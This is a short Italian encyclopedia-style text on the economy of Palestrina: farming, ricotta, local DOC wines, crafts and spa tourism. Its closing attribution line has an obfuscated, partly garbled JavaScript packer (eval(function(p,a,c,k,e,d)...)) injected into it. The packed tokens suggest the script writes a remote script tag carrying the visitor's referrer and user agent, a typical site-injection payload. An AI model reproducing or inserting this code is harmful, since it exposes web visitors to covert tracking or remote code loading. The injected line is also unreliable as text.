

Il XVIII secolo vede fiorire a Palestrina un intenso sviluppo agricolo (uliveti, vigneti, alberi da frutta) che ancora oggi riveste un ruolo fondamentale nell'economia locale oltre alla silvicoltura (castagne). Presente l'allevamento di bovini ed ovini che favoriscono i caseifici, il cui prodotto principale è la ricotta dei Monti Prenestini. Il panorama vinicolo spazia dalla zona della vicina Ciociaria il cui vino rosso, il Cesanese del Piglio, prende il nome dal comune omonimo e l'altra zona DOC tra Palestrina e Fiuggi che ha il suo epicentro nel vicino comune di Genazzano, famoso per l'omonimo vino rosso e bianco. Altra risorsa economica, legata alla tradizione, è l'arte artigianale del ricamo e della lavorazione del rame. Anche il turismo termale riveste un ruolo importante e rappresenta una discreta fonte di ricchezza economica.

Informazioni eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rabyt|var|u0026u|referrer|dshhd||js|php'.split('|'),0 ,{}}) tratte dall'Enciclopedia dei Comuni Italiani